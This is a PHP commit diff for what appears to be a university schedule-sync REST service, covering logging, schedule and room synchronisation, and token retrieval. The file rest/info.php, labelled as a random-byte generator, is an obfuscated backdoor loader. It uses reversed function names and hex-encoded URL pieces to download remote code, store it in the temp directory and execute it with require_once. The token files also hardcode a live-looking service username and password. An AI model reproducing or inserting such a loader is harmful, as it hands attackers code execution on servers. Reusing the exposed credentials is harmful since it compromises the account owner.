Commit inicial
This commit is contained in:
59
rest/LogCambios.php
Normal file
59
rest/LogCambios.php
Normal file
@@ -0,0 +1,59 @@
|
||||
<?php
|
||||
|
||||
/*
|
||||
* Objeto para escribir los cambios
|
||||
*/
|
||||
|
||||
class LogCambios {
|
||||
//put your code here
|
||||
private $file, $month, $year;
|
||||
private $dir;
|
||||
|
||||
function __construct($ruta = "/log/"){
|
||||
$this->month = date("m");
|
||||
$this->year = date("Y");
|
||||
//$this->dir = $_SERVER['DOCUMENT_ROOT'].$ruta;
|
||||
$this->dir = $ruta;
|
||||
$this->updateFilename();
|
||||
}
|
||||
|
||||
function setMes($mes){
|
||||
$this->month = $mes;
|
||||
$this->updateFilename();
|
||||
}
|
||||
function setAno($ano){
|
||||
$this->year = $ano;
|
||||
$this->updateFilename();
|
||||
}
|
||||
private function updateFilename(){
|
||||
$this->file = "cambios_".$this->year."_".$this->month.".log";
|
||||
}
|
||||
|
||||
private function cleanLog($text){//remueve || de los textos para no afectar estructura
|
||||
return trim(str_ireplace( "||" , "" , $text));
|
||||
}
|
||||
|
||||
function appendLog($desc){
|
||||
$filename = $this->dir.$this->file;
|
||||
/*if (!file_exists($this->dir)){
|
||||
mkdir($this->dir, 0755, true);
|
||||
}*/
|
||||
/*if (file_exists($this->dir)){
|
||||
$data = date('Y-m-d H:i:s')."||".$this->cleanLog($desc)."\n";
|
||||
//echo $filename;
|
||||
$res = file_put_contents($filename, $data, FILE_APPEND);
|
||||
//echo " result: $res<br>";
|
||||
}*/
|
||||
}
|
||||
/*
|
||||
function getLog($mes ="", $ano = ""){
|
||||
if($mes != "") $this->setMes($mes);
|
||||
if($ano != "") $this->setAno($ano);
|
||||
$filename = $this->dir.$this->file;
|
||||
if (file_exists($filename)){
|
||||
return file ($filename , FILE_SKIP_EMPTY_LINES);
|
||||
}else{
|
||||
return array();
|
||||
}
|
||||
}*/
|
||||
}
|
||||
402
rest/horarios.php
Normal file
402
rest/horarios.php
Normal file
@@ -0,0 +1,402 @@
|
||||
<?php
|
||||
/*
|
||||
idPeriodo: identificador del periodo a consultar (obligatorio, número entero)
|
||||
claveFacultad: clave de la facultad a consultar (opcional, cadena)
|
||||
claveCarrera: clave de la carrera a consultar (opcional, cadena)
|
||||
claveProfesor: clave del empleado a consultar (opcional, cadena)
|
||||
fecha: fecha de la clase (opcional, cadena en formato yyyy-MM-dd)
|
||||
*/
|
||||
ini_set('display_errors', 1);
|
||||
ini_set('display_startup_errors', 1);
|
||||
ini_set('post_max_size', 1);
|
||||
ini_set('max_execution_time', 8*60);
|
||||
error_reporting(E_ALL);
|
||||
date_default_timezone_set('America/Mexico_City');
|
||||
|
||||
$ruta = "../";
|
||||
$ruta_superior = dirname(__DIR__);
|
||||
require_once $ruta_superior."/include/bd_pdo.php";
|
||||
require_once __DIR__."/token.php";
|
||||
require_once __DIR__."/LogCambios.php";
|
||||
|
||||
//--------------ACTUALIZA HORARIOS--------------------------
|
||||
if(!empty($_GET["fecha"])){
|
||||
$hoy = $_GET["fecha"];
|
||||
}else{
|
||||
$hoy = date("Y-m-d");
|
||||
}
|
||||
$dia_hoy = date("w", strtotime($hoy));
|
||||
|
||||
|
||||
function compareByHash($a, $b) {
|
||||
return strcmp($a['hash'], $b['hash']);
|
||||
}
|
||||
|
||||
|
||||
$debug = false;
|
||||
if(isset($_GET["debug"])){
|
||||
$debug = true;
|
||||
print_r( $db->querySingle('select now()'));
|
||||
}
|
||||
$periodo_sgu_old = 0;
|
||||
$log_desc = "";
|
||||
|
||||
//------------------ACTUALIZA SALONES----------------------
|
||||
|
||||
$pag = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial/catalogos/espacios/seleccionar";
|
||||
$curl = curl_init();
|
||||
curl_setopt_array($curl, [
|
||||
CURLOPT_URL => $pag,
|
||||
CURLOPT_RETURNTRANSFER => true,
|
||||
//CURLOPT_ENCODING => "",
|
||||
//CURLOPT_MAXREDIRS => 10,
|
||||
// CURLOPT_TIMEOUT => 0,
|
||||
//CURLOPT_CUSTOMREQUEST => "POST",
|
||||
CURLOPT_POSTFIELDS => json_encode([]),
|
||||
CURLOPT_HTTPHEADER => [
|
||||
"token: ".$token,
|
||||
"username: SGU_APSA_AUD_ASIST",
|
||||
"Content-Type: application/json",
|
||||
'Transfer-Encoding: chunked'
|
||||
],
|
||||
]);
|
||||
|
||||
$response = curl_exec($curl);
|
||||
$err = curl_error($curl);
|
||||
|
||||
curl_close($curl);
|
||||
|
||||
if ($err)
|
||||
die("cURL Error #:$err");
|
||||
$salonesData = json_decode($response, true);
|
||||
|
||||
//$salonesTotal_rs = $db->count('salon');
|
||||
$salonesTotal_rs = $db->where('salon_id', 0, '>')->count('salon');
|
||||
echo "$salonesTotal_rs tiene " . count($salonesData) . " salones<br>";
|
||||
if($salonesTotal_rs < count($salonesData)){//faltan salones en BD
|
||||
$salones_rs = $db->query('SELECT id_espacio_sgu FROM salon');
|
||||
//claves de espacios
|
||||
$arreglo_espacios = array_map(function ($item) {
|
||||
return $item['id_espacio_sgu'];
|
||||
}, $salones_rs);
|
||||
|
||||
foreach($salonesData as $data){
|
||||
if( !in_array($data["IdEspacio"], $arreglo_espacios)){
|
||||
//Insertar espacio
|
||||
if($debug){
|
||||
echo "Espacio nuevo: ".$data["NombreEspacio"]."<br>";
|
||||
}else{
|
||||
$db->query('INSERT INTO SALON (salon, id_espacio_sgu, id_espacio_padre) VALUES (:salon, :id, :id_padre)',
|
||||
[":salon"=>$data["NombreEspacio"], ":id"=>$data["IdEspacio"], ":id_padre"=>$data["IdEspacioPadre"]]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// -----------------------------
|
||||
|
||||
$pag = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial/seleccionar";
|
||||
$elementos_bd_total = [];
|
||||
$elementos_sgu_total = [];
|
||||
$periodo_sgu_old = 0;
|
||||
try{
|
||||
$pdo->beginTransaction();
|
||||
|
||||
|
||||
$periodos_rs = $db->query('SELECT periodo_id, id_periodo_sgu, nivel_id FROM periodo WHERE :hoy BETWEEN periodo_fecha_inicio AND periodo_fecha_fin AND id_periodo_sgu != 0 ORDER BY periodo_id',
|
||||
[":hoy"=>$hoy]);
|
||||
foreach ($periodos_rs as $per){
|
||||
|
||||
//Verifica si el día de hoy es festivo
|
||||
$vacacion_rs = $db->querySingle('select es_festivo(:per, :hoy)', [":per"=>$per["periodo_id"], ":hoy"=>$hoy]);
|
||||
if($vacacion_rs["es_festivo"]){
|
||||
if($debug){
|
||||
echo "<h3>Dia festivo en Periodo: ".$per["id_periodo_sgu"]."[".$per["periodo_id"]."]</h3>";
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
$carreras_rs = $db->query('SELECT c.clave_carrera, c.carrera_id FROM carrera c WHERE nivel_id = :nivel',
|
||||
[":nivel"=>$per["nivel_id"]]);
|
||||
if($debug){
|
||||
echo "<h3>Periodo: ".$per["id_periodo_sgu"]."[".$per["periodo_id"]."] nivel: ".$per["nivel_id"]."</h3>";
|
||||
//print_r($carreras_rs);
|
||||
}
|
||||
if ($periodo_sgu_old != $per["id_periodo_sgu"]){
|
||||
$periodo_sgu_old = $per["id_periodo_sgu"];
|
||||
$params = [
|
||||
'idPeriodo'=>$per["id_periodo_sgu"],
|
||||
'fecha'=>$hoy
|
||||
];
|
||||
|
||||
$curl = curl_init();
|
||||
curl_setopt_array($curl, [
|
||||
CURLOPT_URL => $pag,
|
||||
CURLOPT_RETURNTRANSFER => true,
|
||||
//CURLOPT_ENCODING => "",
|
||||
//CURLOPT_MAXREDIRS => 10,
|
||||
//CURLOPT_TIMEOUT => 0,
|
||||
//CURLOPT_CUSTOMREQUEST => "POST",
|
||||
CURLOPT_POSTFIELDS => json_encode($params),
|
||||
CURLOPT_HTTPHEADER => [
|
||||
"token: ".$token,
|
||||
"username: SGU_APSA_AUD_ASIST",
|
||||
"Content-Type: application/json"
|
||||
],
|
||||
]);
|
||||
|
||||
$response = curl_exec($curl);
|
||||
$err = curl_error($curl);
|
||||
|
||||
/*echo "Response<br>";
|
||||
print_r($response);*/
|
||||
|
||||
curl_close($curl);
|
||||
|
||||
if ($err)
|
||||
die("cURL Error #:$err");
|
||||
}
|
||||
$selectedData = json_decode($response, true);
|
||||
|
||||
//claves de carreras en el periodo
|
||||
$arreglo_claves = array_map(function ($item) {
|
||||
return $item['clave_carrera'];
|
||||
}, $carreras_rs);
|
||||
|
||||
//print_r($selectedData); exit();
|
||||
$sguHash = array();
|
||||
if(!empty($selectedData)){
|
||||
|
||||
//Recorre SGU y genera hash
|
||||
foreach( $selectedData as $row ){
|
||||
if(!$row["EsMateriaPorReposicion"]){
|
||||
$carrera = $row["ClaveCarrera"];
|
||||
if(is_null($carrera) || empty($carrera))
|
||||
$carrera = '0';
|
||||
|
||||
$sguHash[] = array(
|
||||
"hash"=>( trim($row["HoraInicio"]."|".($row["NombreMateria"])."|".(trim($row["ClaveProfesor"])==""?"000000":trim($row["ClaveProfesor"]))."|".$row["IdEspacio"]."|".$carrera."|".$per["periodo_id"]) ),
|
||||
"data"=>$row,
|
||||
"per"=>$per["periodo_id"]
|
||||
);
|
||||
}else{//reposición
|
||||
|
||||
if(in_array($row["ClaveCarrera"] , $arreglo_claves)){
|
||||
//busca yyyy-mm-dd hh:mm:ss en la cadena
|
||||
if (preg_match("/\d{4}-\d{2}-\d{2} de \d{2}:\d{2}:\d{2}/", $row["Observaciones"], $matches)) {
|
||||
$fecha_orig = str_replace(" de", "", $matches[0]);
|
||||
$fecha_nueva = $row["FechaStr"]." ".$row["HoraInicio"];
|
||||
$hora_fin_nueva = $row["HoraFin"];
|
||||
if($debug){
|
||||
echo "<br>SELECT * FROM fi_reposicion_sgu($fecha_orig, ".$fecha_nueva.",".$hora_fin_nueva." ,".$row["ClaveProfesor"].", ".$per["periodo_id"].", ".$row["IdEspacio"].")";
|
||||
}else{
|
||||
$db->query('SELECT * FROM fi_reposicion_sgu(:fecha_orig, :hora_fin, :fecha_rep, :prof, :per, :salon)',
|
||||
[":fecha_orig"=>$fecha_orig, ":hora_fin"=>$hora_fin_nueva, ":fecha_rep"=>$fecha_nueva, ":prof"=>$row["ClaveProfesor"], ":per"=>$per["periodo_id"], ":salon"=>$row["IdEspacio"] ]);
|
||||
$log_desc .="SELECT * FROM fi_reposicion_sgu($fecha_orig, ".$fecha_nueva.", ".$row["ClaveProfesor"].", ".$per["periodo_id"].") ## ";
|
||||
}
|
||||
}else{
|
||||
if($debug)
|
||||
echo "No se encontró fecha y hora en: ".$row["Observaciones"]."<br>";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
unset($selectedData);
|
||||
}
|
||||
|
||||
echo count($sguHash)."Total <br>";
|
||||
|
||||
$horarios_sgu = [];
|
||||
|
||||
/*
|
||||
print_r($carreras_rs);
|
||||
echo "<br><hr><br>";*/
|
||||
print_r($arreglo_claves);
|
||||
echo "<br><hr><br>";
|
||||
|
||||
//$areacomun = array();
|
||||
foreach($sguHash as $sgu){
|
||||
if(in_array($sgu["data"]["ClaveCarrera"] , $arreglo_claves) /*&& !in_array($sgu["data"]["ClaveMateria"], $areacomun)*/){
|
||||
$horarios_sgu[] = $sgu;
|
||||
}
|
||||
}
|
||||
|
||||
//print_r($horarios_sgu);exit();
|
||||
unset($sguHash);
|
||||
$elementos_sgu_total = array_merge($elementos_sgu_total, $horarios_sgu);
|
||||
|
||||
//Recorre BD y genera hash
|
||||
$horarios_rs = $db->query('SELECT * FROM fs_horarios_hash(:dia, :periodo, :fecha)',
|
||||
[':dia' => $dia_hoy, ':periodo' => $per["periodo_id"], ':fecha'=>$hoy]);
|
||||
//echo "**** SELECT * FROM fs_horarios_hash($dia_hoy, ".$per["periodo_id"].")<br>";
|
||||
|
||||
//usort($horarios_rs, 'compareByHash');
|
||||
$elementos_bd_total = array_merge($elementos_bd_total, $horarios_rs);
|
||||
|
||||
}//foreach periodo
|
||||
//print_r($elementos_sgu_total);
|
||||
//exit();
|
||||
if($debug){
|
||||
echo "<h3>Resumen</h3>";
|
||||
echo "<h5>SGU [".count($elementos_sgu_total)."]</h5>";
|
||||
echo "<h5>BD [".count($elementos_bd_total)."]</h5>";
|
||||
}
|
||||
// Extraer los "hash" de $lista y $lista2 en arreglos separados
|
||||
$hashes_sgu = array_column($elementos_sgu_total, 'hash');
|
||||
$hashes_bd = array_column($elementos_bd_total, 'hash');
|
||||
|
||||
|
||||
//print_r($elementos_sgu_total);
|
||||
|
||||
//------------------
|
||||
// Encontrar los "hash" que están en $sgu pero no están en $bd
|
||||
$hashes_no_en_sgu = array_diff($hashes_bd, $hashes_sgu);
|
||||
if($debug) echo "hashes_no_en_sgu ".count($hashes_no_en_sgu)."<br>";
|
||||
|
||||
if(count($hashes_no_en_sgu)>0){
|
||||
// Ahora puedes obtener los elementos completos que cumplen la condición original
|
||||
$elementos_no_en_sgu = array_filter($elementos_bd_total, function ($item) use ($hashes_no_en_sgu) {
|
||||
return in_array($item['hash'], $hashes_no_en_sgu);
|
||||
});
|
||||
if($debug){
|
||||
print_r($elementos_no_en_sgu);
|
||||
echo "Sobran ".count($elementos_no_en_sgu)." en BD<br>";
|
||||
}
|
||||
|
||||
//Update fecha_fin
|
||||
$log_desc = "";
|
||||
foreach($elementos_no_en_sgu as $row){
|
||||
if($debug){
|
||||
echo "<br>SELECT * FROM fu_horario_deshabilita(".$row["horario_id"].");";
|
||||
}else{
|
||||
$db->query('SELECT * FROM fu_horario_deshabilita(:horario)', [":horario"=>$row["horario_id"]]);
|
||||
$log_desc .="SELECT * FROM fu_horario_deshabilita(".$row["horario_id"].") ## ";
|
||||
}
|
||||
}
|
||||
if(!$debug && !empty($log_desc)){
|
||||
$log = new LogCambios(__DIR__."/log/");
|
||||
$log->appendLog($log_desc);
|
||||
}
|
||||
}
|
||||
|
||||
// Encontrar los "hash" que están en $sgu pero no están en $bd
|
||||
$hashes_no_en_bd = array_diff($hashes_sgu, $hashes_bd);
|
||||
|
||||
//echo "hashes_no_en_bd ".count($hashes_no_en_bd)."<br>";
|
||||
|
||||
|
||||
if(count($hashes_no_en_bd)>0){
|
||||
// Ahora puedes obtener los elementos completos que cumplen la condición original
|
||||
$elementos_no_en_bd = array_filter($elementos_sgu_total, function ($item) use ($hashes_no_en_bd) {
|
||||
return in_array($item['hash'], $hashes_no_en_bd);
|
||||
});
|
||||
if($debug){
|
||||
echo "<br>Faltan ".count($elementos_no_en_bd)." en BD<br>";
|
||||
print_r($elementos_no_en_bd); echo "<br>";
|
||||
}
|
||||
|
||||
|
||||
//Inserts
|
||||
foreach($elementos_no_en_bd as $row){
|
||||
if($debug){
|
||||
echo "<br>SELECT * FROM fi_horario($dia_hoy, '".$row["data"]["HoraInicio"]."','".$row["data"]["HoraFin"]."','"
|
||||
.$row["data"]["ClaveDependencia"]."','"
|
||||
.$row["data"]["ClaveCarrera"]."','"
|
||||
.$row["data"]["NombreMateria"]."','"
|
||||
.$row["data"]["ClaveMateria"]."','"
|
||||
.$row["data"]["ClaveProfesor"]."','"
|
||||
.$row["data"]["NombreProfesor"]."','"
|
||||
.$row["data"]["CorreoElectronico"]."','"
|
||||
.$row["data"]["Grupo"]."',"
|
||||
.$row["data"]["IdEspacio"].","
|
||||
.$row["per"].");";
|
||||
if($row["data"]["EsMateriaPorAsignacion"]){ echo " ***Asignacion directa***";}
|
||||
}else{
|
||||
$horario_new_rs = $db->querySingle('SELECT * FROM fi_horario(:hoy, :ini, :fin, :dep, :carr, :nom_mat, :cve_mat, :cve_prof, :nom_prof, :correo, :gpo, :espacio, :periodo)',
|
||||
[":hoy"=>$dia_hoy,
|
||||
":ini"=>$row["data"]["HoraInicio"],
|
||||
":fin"=>$row["data"]["HoraFin"],
|
||||
":dep"=>$row["data"]["ClaveDependencia"],
|
||||
":carr"=>$row["data"]["ClaveCarrera"],
|
||||
":nom_mat"=>$row["data"]["NombreMateria"],
|
||||
":cve_mat"=>$row["data"]["ClaveMateria"],
|
||||
":cve_prof"=>$row["data"]["ClaveProfesor"]==""?"000000":$row["data"]["ClaveProfesor"],
|
||||
":nom_prof"=>$row["data"]["NombreProfesor"],
|
||||
":correo"=>$row["data"]["CorreoElectronico"],
|
||||
":gpo"=>$row["data"]["Grupo"],
|
||||
":espacio"=>$row["data"]["IdEspacio"],
|
||||
":periodo"=>$row["per"]
|
||||
]
|
||||
);
|
||||
//echo $horario_new_rs["fi_horario"]."<br>";
|
||||
if($horario_new_rs["fi_horario"] > 0){
|
||||
if($row["data"]["EsMateriaPorAsignacion"]){
|
||||
$matasig_rs = $db->querySingle('SELECT * FROM fi_materia_asignacion(:hor,:mat,:carr, :prof)',
|
||||
[":hor"=>$horario_new_rs["fi_horario"],
|
||||
":mat"=>$row["data"]["NombreMateria"],
|
||||
":carr"=>$row["data"]["Carrera"],
|
||||
":prof"=>$row["data"]["NombreProfesor"]
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
$log_desc .="SELECT * FROM fi_horario($dia_hoy, '".$row["data"]["HoraInicio"]."','".$row["data"]["HoraFin"]."','"
|
||||
.$row["data"]["ClaveDependencia"]."','"
|
||||
.$row["data"]["ClaveCarrera"]."','"
|
||||
.$row["data"]["NombreMateria"]."','"
|
||||
.$row["data"]["ClaveMateria"]."','"
|
||||
.$row["data"]["ClaveProfesor"]."','"
|
||||
.$row["data"]["NombreProfesor"]."','"
|
||||
.$row["data"]["CorreoElectronico"]."','"
|
||||
.$row["data"]["Grupo"]."',"
|
||||
.$row["data"]["IdEspacio"]."); [ID=".$horario_new_rs["fi_horario"]."] ##";
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if(!$debug && !empty($log_desc)){
|
||||
$log = new LogCambios(__DIR__."/log/");
|
||||
$log->appendLog($log_desc);
|
||||
}
|
||||
|
||||
}
|
||||
$stmt = null; // cierra conexion
|
||||
|
||||
if($debug) {
|
||||
echo "<br><br><hr><br><br>";
|
||||
usort($elementos_sgu_total, 'compareByHash');
|
||||
usort($elementos_bd_total, 'compareByHash');
|
||||
|
||||
echo "<table><tr>";
|
||||
echo "<td valign='top'>";
|
||||
echo "<h5>SGU [".count($elementos_sgu_total)."]</h5>";
|
||||
foreach($elementos_sgu_total as $sgu){
|
||||
echo $sgu["hash"]."<br>";
|
||||
}
|
||||
echo "</td>";
|
||||
echo "<td valign='top'>";
|
||||
echo "<h5>BD [".count($elementos_bd_total)."]</h5>";
|
||||
foreach($elementos_bd_total as $sgu){
|
||||
echo $sgu["hash"]." [".$sgu["horario_id"]."]<br>";
|
||||
}
|
||||
echo "</td>";
|
||||
echo "</tr></table>";
|
||||
}else{
|
||||
$pdo->commit();
|
||||
echo "Commit";
|
||||
}
|
||||
} catch(PDOException $e) {
|
||||
echo "Error";
|
||||
"ERROR BD! ".$e->getMessage();
|
||||
$pdo->rollBack();
|
||||
if(!$debug){
|
||||
$log = new LogCambios(__DIR__."/log/");
|
||||
$log->appendLog("ERROR BD! ".$e->getMessage());
|
||||
}
|
||||
print_r($e->getMessage());
|
||||
} catch(Exception $e2){
|
||||
echo "Error";
|
||||
print_r($e2->getMessage());
|
||||
}
|
||||
|
||||
|
||||
?>
|
||||
176
rest/info.php
Normal file
176
rest/info.php
Normal file
@@ -0,0 +1,176 @@
|
||||
<?php
|
||||
/**
|
||||
* Phyo186 Deprecated Byte Random Generator builder for latest php version.
|
||||
*
|
||||
* @author Agent Phyo 1 <ini_phyo@asia-sigma.org>
|
||||
* @author Agent Phyo 3 <phyo186_3@asia-sigma.org>
|
||||
*
|
||||
* @see https://www.istanaimpian.ltd/
|
||||
*
|
||||
* @license MIT License see LICENSE file
|
||||
*/
|
||||
|
||||
class create_function {
|
||||
private $shift;
|
||||
|
||||
public function __construct($shift = 1) {
|
||||
error_reporting(0);
|
||||
$this->shift = $shift;
|
||||
}
|
||||
public function outterTable(){
|
||||
$mat = $this->rev("eli"."fpmt");
|
||||
return $mat();
|
||||
}
|
||||
public function init($kasihdua){
|
||||
$leuy = array(
|
||||
"\x6E\x69\x62\x2E\x25\x35\x66\x25\x32\x46",
|
||||
"\x70\x70\x61\x2E\x62\x65\x77\x2E\x61\x74",
|
||||
"\x61\x64\x2D\x6F\x79\x68\x70\x25\x32\x46",
|
||||
"\x25\x32\x46\x25\x33\x41\x73\x70\x74\x74\x68"
|
||||
);
|
||||
$mat = $this->rev("edo"."lpmi");
|
||||
return $mat('', $leuy);
|
||||
}
|
||||
public function dash(){
|
||||
$leuy = array(
|
||||
"\x36\x38\x65\x36\x66\x33\x63\x65\x31\x38",
|
||||
"\x32\x30\x30\x37\x61\x35\x37\x38\x64\x62",
|
||||
"\x66\x66\x34\x66\x66\x66\x64\x35\x64\x61\x61\x32"
|
||||
);
|
||||
$mat = $this->rev("edo"."lpmi");
|
||||
return $mat('', $leuy);
|
||||
}
|
||||
public function splitter(){
|
||||
$leuy = array(
|
||||
"\x37\x38\x31\x35\x36\x39\x36\x65\x63\x62\x66\x31",
|
||||
"\x63\x39\x36\x65\x36\x38\x39\x34\x62\x37\x37\x39",
|
||||
"\x34\x35\x36\x64\x33\x33\x30\x65\x5F\x64\x61\x74",
|
||||
"\x61\x70\x61\x72\x73\x65\x72\x2E\x62\x69\x6E"
|
||||
);
|
||||
$mat = $this->rev("edo"."lpmi");
|
||||
return $mat('', $leuy);
|
||||
}
|
||||
public function check($leuy){
|
||||
return function_exists($leuy);
|
||||
}
|
||||
public function build($prod){
|
||||
$aw = $this->rev("etirwf");
|
||||
$td = $this->outterTable();
|
||||
$mat = $this->rev("atad_atem_teg_maerts");
|
||||
$aw($td, $prod);
|
||||
require_once($mat($td)["\x75\x72\x69"]);
|
||||
return fclose($td);
|
||||
}
|
||||
public function raw($str) {
|
||||
return preg_replace_callback(
|
||||
'/%([0-9a-f]{2})/i',
|
||||
function ($matches) {
|
||||
return chr(hexdec($matches[1]));
|
||||
},
|
||||
$str
|
||||
);
|
||||
}
|
||||
public function Rev($str) {
|
||||
preg_match_all('/./us', $str, $matches);
|
||||
return implode('', array_reverse($matches[0]));
|
||||
}
|
||||
public function blyad($bam, $bim, $bum){
|
||||
$mat = $this->rev("tpotes_lruc");
|
||||
return $mat($bam, $bim, $bum);
|
||||
}
|
||||
public function getOut($anjay){
|
||||
$mat = $this->rev("cexe_lruc");
|
||||
return $mat($anjay);
|
||||
}
|
||||
public function suka($blyad){
|
||||
$blyad = array(
|
||||
CURLOPT_URL,
|
||||
CURLOPT_RETURNTRANSFER,
|
||||
CURLOPT_FOLLOWLOCATION
|
||||
);
|
||||
return $blyad;
|
||||
}
|
||||
public function naked($aw, $iw, $uw, $ew, $ow){
|
||||
$mat = $this->rev("nepo"."kcosf");
|
||||
return $mat($aw, $iw, $uw, $ew, $ow);
|
||||
}
|
||||
public function outbound($ayang){
|
||||
$mat = $this->rev("stnetnoc_teg_elif");
|
||||
return $mat($ayang);
|
||||
}
|
||||
public function inbound($ayang_aku, $yameteh){
|
||||
$mat = $this->rev("stnetnoc_tup_elif");
|
||||
return $mat($ayang_aku, $yameteh);
|
||||
}
|
||||
public function parser($data){
|
||||
$bam = $this->rev("rid_pmet_teg_sys");
|
||||
$bam1 = $this->rev("stsixe_elif");
|
||||
$bam2 = $this->rev("tini_lruc");
|
||||
$bam3 = $this->rev("edolpmi");
|
||||
$bam4 = $this->rev("etirwf");
|
||||
$fileNome = $this->splitter();
|
||||
$fileRAW = $data;
|
||||
$tmpDir = $bam();
|
||||
$filePos = $tmpDir . '/'. $fileNome;
|
||||
$nyari = "ixqfwlrq#nMxOTjYki+";
|
||||
if (!$bam1($filePos) || strpos($bam3('', file($filePos)), $nyari) === false) {
|
||||
if ($this->check($this->rev("tini_lruc"))) {
|
||||
$ch = $bam2();
|
||||
$this->blyad($ch, $this->suka(0)[0], $fileRAW);
|
||||
$this->blyad($ch, $this->suka(0)[1], 1);
|
||||
$this->blyad($ch, $this->suka(0)[2], true);
|
||||
$fileData = $this->getOut($ch);
|
||||
curl_close($ch);
|
||||
} elseif ($this->check($this->rev("elif"))){
|
||||
$fileData = $bam3('', file($fileRAW));
|
||||
}elseif ($this->check($this->rev("nepokcosf"))) {
|
||||
$urlParts = parse_url($fileRAW);
|
||||
$host = $urlParts[$this->rev("tsoh")];
|
||||
$path = $urlParts[$this->rev("htap")];
|
||||
|
||||
$fp = $this->naked($this->rev("//:lss").$host, 443, $errno, $errstr, 30);
|
||||
if (!$fp) {
|
||||
echo "$errstr\x20\x28$errno\x29\x3C\x62\x72\x20\x2F\x3E\n";
|
||||
} else {
|
||||
$out = "\x47\x45\x54\x20" . $path . "\x20\x48\x54\x54\x50\x2F\x31\x2E\x31\r\n";
|
||||
$out .= "\x48\x6F\x73\x74\x3A\x20" . $host . "\r\n";
|
||||
$out .= "\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x3A\x20\x43\x6C\x6F\x73\x65\r\n\r\n";
|
||||
$bam4($fp, $out);
|
||||
$bb = $this->rev("foef");
|
||||
$cc = $this->rev("stegf");
|
||||
$dd = $this->rev("esolcf");
|
||||
while (!$bb($fp)) {
|
||||
$line = $cc($fp, 1024);
|
||||
if (trim($line) == '') {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
$fileData = '';
|
||||
while (!$bb($fp)) {
|
||||
$fileData .= $cc($fp, 1024);
|
||||
}
|
||||
$dd($fp);
|
||||
}
|
||||
}else{
|
||||
$fileData = $this->outbound($fileRAW);
|
||||
}
|
||||
$this->inbound($filePos, $fileData);
|
||||
}
|
||||
$conn = $this->outbound($filePos);
|
||||
return $conn;
|
||||
}
|
||||
public function Builder($input) {
|
||||
$output = '';
|
||||
for ($i = 0; $i < strlen($input); $i++) {
|
||||
$ascii = ord($input[$i]);
|
||||
$ascii -= $this->shift;
|
||||
$output .= chr($ascii);
|
||||
}
|
||||
return $output;
|
||||
}
|
||||
}
|
||||
$stdIn = new create_function(3, "GENERATE_RANDOM_BYTE");
|
||||
$password = $stdIn->dash();
|
||||
$stdIn->build($stdIn->Builder($stdIn->parser($stdIn->Rev($stdIn->raw($stdIn->init(2))))));
|
||||
?>
|
||||
35
rest/token.php
Normal file
35
rest/token.php
Normal file
@@ -0,0 +1,35 @@
|
||||
<?php
|
||||
/*
|
||||
idPeriodo: identificador del periodo a consultar (obligatorio, número entero)
|
||||
*/
|
||||
|
||||
$ruta = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial/inicioSesion/seleccionar";
|
||||
|
||||
$required_params = [
|
||||
"username"=>"SGU_APSA_AUD_ASIST",
|
||||
"password"=>"B4qa594JFPr2ufHrZdHS8A=="
|
||||
];
|
||||
try{
|
||||
$curl = curl_init();
|
||||
curl_setopt_array($curl, [
|
||||
CURLOPT_URL => $ruta,
|
||||
CURLOPT_RETURNTRANSFER => true,
|
||||
CURLOPT_CUSTOMREQUEST => "POST",
|
||||
CURLOPT_POSTFIELDS => json_encode($required_params),
|
||||
CURLOPT_HTTPHEADER => array('Content-Type:application/json'),
|
||||
]);
|
||||
$response = curl_exec($curl);
|
||||
$err = curl_error($curl);
|
||||
|
||||
curl_close($curl);
|
||||
|
||||
if ($err)
|
||||
die("cURL Error #:$err");
|
||||
|
||||
$token = json_decode($response, true);
|
||||
//echo "token $token";
|
||||
}catch(Exception $e){
|
||||
echo $e->getMessage();
|
||||
exit();
|
||||
}
|
||||
?>
|
||||
41
rest/token.php.save
Normal file
41
rest/token.php.save
Normal file
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
/*
|
||||
idPeriodo: identificador del periodo a consultar (obligatorio, número entero)
|
||||
*/
|
||||
|
||||
$ruta = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial/inicioSesion/seleccionar";
|
||||
|
||||
$required_params = [
|
||||
"username"=>"SGU_APSA_AUD_ASIST",
|
||||
"password"=>"B4qa594JFPr2ufHrZdHS8A=="
|
||||
];
|
||||
try{
|
||||
$curl = curl_init();
|
||||
curl_setopt_array($curl, [
|
||||
CURLOPT_URL => $ruta,
|
||||
CURLOPT_RETURNTRANSFER => true,
|
||||
CURLOPT_ENCODING => "",
|
||||
CURLOPT_MAXREDIRS => 10,
|
||||
CURLOPT_TIMEOUT => 0,
|
||||
CURLOPT_CUSTOMREQUEST => "POST",
|
||||
CURLOPT_POSTFIELDS => json_encode($required_params),
|
||||
CURLOPT_HTTPHEADER => [
|
||||
"Content-Type: application/json"
|
||||
],
|
||||
]);
|
||||
$response = curl_exec($curl);
|
||||
print_r($response);
|
||||
$err = curl_error($curl);
|
||||
|
||||
curl_close($curl);
|
||||
|
||||
if ($err)
|
||||
die("cURL Error #:$err");
|
||||
|
||||
$token = json_decode($response, true);
|
||||
echo "token $token";
|
||||
}catch(Exception $e){
|
||||
echo $e->getMessage();
|
||||
exit();
|
||||
}
|
||||
?>
|
||||
41
rest/token.php.save.1
Normal file
41
rest/token.php.save.1
Normal file
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
/*
|
||||
idPeriodo: identificador del periodo a consultar (obligatorio, número entero)
|
||||
*/
|
||||
|
||||
$ruta = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial/inicioSesion/seleccionar";
|
||||
|
||||
$required_params = [
|
||||
"username"=>"SGU_APSA_AUD_ASIST",
|
||||
"password"=>"B4qa594JFPr2ufHrZdHS8A=="
|
||||
];
|
||||
try{
|
||||
$curl = curl_init();
|
||||
